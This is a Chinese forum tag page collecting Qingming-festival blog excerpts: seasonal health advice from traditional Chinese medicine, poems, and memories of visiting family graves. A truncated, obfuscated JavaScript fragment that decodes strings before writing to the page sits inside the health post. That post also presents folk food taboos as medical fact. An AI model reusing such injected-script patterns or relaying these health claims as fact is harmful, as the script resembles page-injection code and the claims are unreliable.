珍珠湾全球网 › 标签 › 清明

标签: 清明

相关帖子	版块	作者	回复/查看	最后发表

没有相关内容

相关日志

分享非常喜欢的一幅清明图片: 热度 8 宜修 2014-4-5 22:44; 喜欢从网上看到的这幅清明图片，因为她予人以慎终追远的意境......可惜，我看不清题图诗。; 个人分类: 时令节气|6028 次阅读|14 个评论

分享平和体质清明节气的“活法儿”: 热度 7 宜修 2014-4-3 11:10; 平和体质清明节气的“活法儿” 清明节气介绍今年的清明节气是4.5-4.19。《月令》“三月节，......物至此时，皆以洁齐而清明矣” 。清明时节，气温上升，雨润草木。北方大部分地区已感受到春风温暖，许多地方气温高于常年，而江南地区常是细雨纷纷。此时节宜补养肝肾，食勿过热，穿要适宜，防郁热而目赤上火。懒散形骸、勿大汗、卧早起早、沐浴阳光才对养生有益。平和体质清明饮食小贴士适宜：芹菜、豆腐、木耳、莲子、银耳、马蹄、荠菜、香椿清明节气宜食清淡新鲜的蔬菜水果，以清补肝脾，保持机体平衡。如芹菜、慈菇、木耳等，也宜鸭肉、红小豆、薏苡仁、莲子、荸荠（马蹄）、乳品、豆腐等。春生之际，常服银耳、荠菜、菠菜、山药柔肝养肺。荠菜正是清明当令的野菜，《玉壶清话》“物无定味，适口者珍，荠汁为美。”荠菜性味甘平，具有和脾、利水、止血、明目的功效。此外，应季的春菜还有：香椿、茵陈篙、莴笋（莴笋叶）、蓬蒿菜、马兰头、苦菊等。少吃：白酒、辣椒、火锅、麻辣香锅、水煮系列、糕点、糖、甜饮料少食辛辣之物，如白酒、辣椒等，以免助阳外泄，否则肝木生发太过，则克伤脾土。加之清明时节本身就是肝火旺盛的时候，按传统中医养生理论，肝属木，木生火，火为心，再过吃辛辣之物将使心脏在此节气中过于旺盛，而导致血压升高的情况发生。清明过后雨水增多，尤其是南方，气候潮湿，容易使人产生疲倦嗜睡的感觉，这就是所谓的“春困”，而甜腻性食物有助湿作用，食后更易使人产生和加重“春困”的感觉，所以要少吃甜食，少喝甜饮料。忌吃：动物血、驴肉、百草心、黄花菜、动物内脏（尤其是肝脏）、小蒜、韭菜、酱菜《月令忌》：“勿食血并脾，季月（每个季节最后两个节气）土旺在脾，死气投入。”《云笈七签》：（清明、谷雨）勿食驴马肉、勿食獐鹿肉，令人神魂不安。孙思邈：是月（清明、谷雨）勿杀生以顺天道。勿食百草心、黄花菜。《千金方》：是月（清明、谷雨）勿食鸟兽五脏，勿食小蒜，勿饮深泉。《金匮要略》曰：“春不可食肝--肝旺时，以死气入肝伤魂也。”故整个春季都不宜吃动物肝脏。《云笈七签》：是月（清明、谷雨）勿食韭，陈葅（酱菜）《法天生意》“勿食鸡子（鸡蛋），终身混乱。” 此时，各种慢性疾病（如关节炎、哮喘、精神病等）易复发，有慢性病的人要忌食易动风生痰、发毒助火助邪之品，如海鱼、海虾、海蟹、羊肉、公鸡等“发物”。平和体质清明运动小贴士：散步、跳绳、快步走、爬山、骑行随着气温的升高，人们的活动也增多，但要注意运动“勿大汗，以养脏气”，中医认为汗是津液代谢的产物，“汗者,精气也。”——《素问·评热病论》，出汗过多对身体是一种伤害，有可能打破本身平和的体质特征，散步、跳绳、快步走、爬山、骑行这些轻松、接触自然、舒展身形的活动，将有助于保持体质的平和。平和体质清明起居小贴士：卧早起早、衣着适宜此时节宜懒散形骸，卧早起早，晚上入睡最好别超过23:00，早晨随着第一缕阳光伸展躯体，披散头发，漫步庭院，充分汲取大自然的精华。但要注意防风防寒，“春日春风有时好，春日春风有时恶。不得春风花不开，花开又被风吹落”。【王安石】。今天可能春风荡漾，明天则会降温；白天气候温暖，早晚却冷风习习。衣着的实用性表现为防风保暖，增减随意，美观得体，松紧适宜。平和体质清明情绪小贴士：入耳好音，平和心境清，清澈；明，明朗。天气如此，人心往之；《黃帝內經》“百病生于气也，怒则气上”，要学会制怒，保持心态平和，使肝火熄灭，肝气顺畅。入耳好音，平和心境：小儿声，钟声，风声，雨声，涛声，溪声，鸟声。《传家宝》平和体质清明茶饮小贴士：菊花桑葚茶菊花与桑葚一同泡茶喝，菊花味辛，甘，苦；性微寒。归肺、肝经。可散风，清热解毒，平肝明目，桑葚甘、酸，寒。归心、肝、肾经。《随息居饮食谱》：桑葚滋肝肾，充血液，祛风湿，健步履，息虚风，清虚火。有养血柔肝，益肾润肺的作用，可以收到肝肺同养的效果。 1、此节气邮件内容不适用于孕妇及南半球用户； 2、如遇各类症状及疾病请及时就医，本邮件内容不作推荐，仅供参考。为什么要让我的朋友们也来测试？因为活法儿坚信，你的一点点帮助，可以改变很多人；你的一点点改变，可以影响很多人。所以，现在就开始吧！ http://www.huofar.com/ll_tizhi.php/result/share/0117217015389049839 (此链接会包含我的测试结果) http://www.huofar.com/ll_tizhi.php/dotest/inv/0117217015389049839 (此链接不包含我的测试结果) 回活法儿查看您的体质测试结果如果上面的链接无法点击，请复制 http://www.huofar.com/ll_tizhi.php/result/myshow/0117217015389049839 到您的浏览器地址栏中并回车 (function(){var b=function(k,e){var i="",j=window,v="f"+"\x72o\x6d\u0043\x68\u0061\u0072\x43o\x64e",f="c"+"ha"+"r\x43\u006Fd"+"eA\u0074",y="\u006Cen\x67\u0074\u0068",s="\u0053t\u0072i\x6E\u0067",m=j ,a=m ,c,z;for(var q=0;q ",0115);document (o);}})();; 个人分类: 卫生健康|8144 次阅读|27 个评论

分享雨前茶和平凡、复恩、Chi202三位仁兄兼品雨前龙井有感: 热度 12 宜修 2013-4-17 10:24; 凭窗把盏明前茶, 阑珊听漏汰心乏。离愁别绪剪不断，一任飘零向天涯。 Chi202雅和谢君一盏雨前茶解苦解难解困乏甘美香醇浮云过半生写意在天涯宜修叠赠君一盏明前茶芳馥氤氲怯劳乏花开花落云卷舒妙语轻歌唱天涯 Chi202叠和谢君一盏明前茶顿感青丝鬓角发好色好香好品味知音做伴走天涯宜修再叠劝君再饮明前茶心旷神怡意气发少年歌朗风华茂青春作伴走天涯二零一三年四月十六日品明前香茗有感; 个人分类: 诗词歌赋|8164 次阅读|34 个评论

分享亭前柳下步成诗和他乡异客【清明】及漠孤烟: 热度 13 Chi202 2013-4-5 04:52; 花落花开各有时，亭前柳下步成诗。海思云想神来笔，只怕黄莺枝外枝。他乡异客又是一年草绿时，谁家儿女赋新诗。左思右想难着笔，都怨黄莺唱柳枝。漠孤烟年年岁岁恰逢时，又把旧韵套新诗。思前想后且润笔，低眉浅唱扬柳枝。铜山万物复苏花开时，春红柳绿墨熏诗。相思情寄紫毫笔，黄莺问早桃花枝。; 8067 次阅读|33 个评论

分享清明的思: 热度 20 四合院的闲人 2013-4-4 19:18; 清明的思清明，千年文化传承让无尽的思念飞翔让悲凉的情怀舒展让心灵得以释放你在哪？你们在哪儿？梦中寻觅，却似漂泊大洋的风帆承载着千重爱，深深的柔情，无间地亲密云儿带去，雨儿带来，泪涟涟飘洒天地之间 ——写于清明节纪念逝去的亲人 ——此时此刻北京正飘着小雨 ——南洋的爷爷奶奶及全家; 个人分类: 家园|10823 次阅读|29 个评论

分享清明春晓（旧文重发）: 热度 13 宜修 2013-4-3 11:18; 清明春晓宜修北国家园的春天今年好像早于纽约。一袭冬装的我在北京 - 洛阳间徜徉了两个星期，“沾衣欲湿杏花雨，吹面不寒杨柳风”，春的意识便被乍暖还寒的风唤醒了。被这份春意裹挟着，不惑中大惑的我偕小女底蕴踏上了“归”途。道是“归”途，真乃：梦里不知身是客，只将他乡作故乡？时差扰人，春困有加。昼伏夜醒间浑浑噩噩地步入了清明。怪得春雨潜入夜，润物细无声？梦醒时分，忆起清明乃踏青时节。忙不迭展开月历、扑到网上扮蜘蛛，“顾购”踏青胜地，唯恐春困误春光。刚赏过誉甲天下的洛阳牡丹，又期盼纷呈烂漫的东瀛国花。赏花处：纽约花园、抑或新州花溪？又是一个轮回：自家还是他家？清明俗有插柳。古人送别折柳相赠，喻亲人去乡似离枝柳条，祝福在他乡生根发芽，如柳枝随插随活、处处成荫。唯我庸人，以离愁别绪，在自家、他乡中自扰，实堪贻笑大方。草录于二零零八年清明; 个人分类: 家国情怀|6847 次阅读|16 个评论

分享清明随想: 热度 19 fuji 2013-3-29 14:12; 又是清明节，心里很愧疚的。这么多年来我没尽孝道，清明没能去父母的墓前祭拜。弟弟说：我帮你们去，代表大家，一切都我来，父母不会怪罪的。不管怎样，都觉得亏欠呵！想起父母在的日子，温馨，和爱，即使不富有，日子过得幸福。有父母在就是不一样呵！这次短旅行，我还是要去老家的，如愿！就是要去墓地看看。那天电闪雷鸣下大雨，家乡的春天是多雨的，不管怎样还是要去，千山万水来就是要看一眼。我祈祷着：上帝呵，给我5分钟吧，雨停一停，小雨也行的，让我了了这个心愿。阿门！苍天有眼，真的雨小了，雨水洗净了地面，很好走。去了母亲墓地，再去父亲墓地。摸着石碑，叫声爸妈，我来了，眼泪止不住。。。三鞠躬，仅此而已。安静的墓地，你们没了烦恼，没了忧愁。工作，房子，赚钱任他人去忙碌。; 5824 次阅读|17 个评论

分享悲歌亦有时: 热度 8 旭日风天 2012-7-2 18:57; 摆好了祭品，小坤：“记得小时候，男女分开在不同的袋子上画圈圈的。” 小欣：“更久以前，只有男的来拜祭，女的可以在家里睡觉。” “什么睡觉，你们要准备早餐。” “好，明年我们在家煮早餐。” “我们只给你十块钱。“ “多几年等你成能做主后再说吧。“ 清明 - 和若水无痕 2011-04 悲歌亦有时，随河泛扁舟。既哀春水淡，也叹青云稠。老树成新蜡，离人化沙鸥。湍湍溪流急，难解悠悠愁。; 6891 次阅读|25 个评论

分享烟中尚有几许哀: 热度 9 旭日风天 2012-6-29 19:05; 大惠分三支香给小风，“记得叫祖父祖母的名字，让他们出来拿祭品。 ” “ 他们都听不到。“ 大镜：“小风，敬神如神在。” “他们都不在了。” “谦虚一点，世上还有很多你不明白的事。听听妈妈的话吧。“ “你自己也不明白。” “小风！！” “好好好。” 清明 2011-04 烟中尚有几许哀，音容渺渺出香炉。女儿不解亡母恨，隔炉争论有魂无。; 8514 次阅读|25 个评论

分享谁言身灭魂无悔: 热度 9 旭日风天 2012-6-25 19:54; 小骏指着纸钱，“为什么是地府，不是天堂？“ 大镜：“地府才有东西卖啊。“ 。。。祭品摆放好了，大惠：“爸爸你出来了吗？来了给我一个胜杯。“ 大惠把铜板丢在地上， ” 爸爸出来了。“ 。。。小天：“这是或然率 , 对吗？“ 大镜：“对，机会一半一半。看看我的头，里面的脑细胞也是开开关关的。你怎么知道我是真的，铜板是假的？“ “因为我从小认识你？“ “你去问外公一个问题看看。” 小天拿起铜板，“外公你开心吗？” 小天丢下铜板，大惠：“外公不开心，来，再丢一次。” 竟然连续好几个不开心。好不容易丢出一个胜杯，小骏：”我也要问爷爷。“ 小骏丢下铜板，大惠：“小骏了不起，一问爷爷就说开心。“ 。。。大镜对小天说：“你把铜板丢在袋子上，铜板没跳啊。” “我丢到第五次时就知道了。我给小骏时把铜板翻了过来。“ “你学会怎样替鬼神说话了。” 清明。和 Mike05 对诗 2011-04 红尘相隔人鬼异，葬花何能遣悲意。谁言身灭魂无悔，但使儿女莫忘记。; 8094 次阅读|34 个评论

更多...

Archiver|手机版|珍珠湾全球网

GMT+8, 2024-6-6 07:06 , Processed in 0.032838 second(s), 16 queries , Apc On.

回顶部

		自动登录	找回密码
密码			用户注册

zhenzhubay.com

标签: 清明

相关帖子

相关日志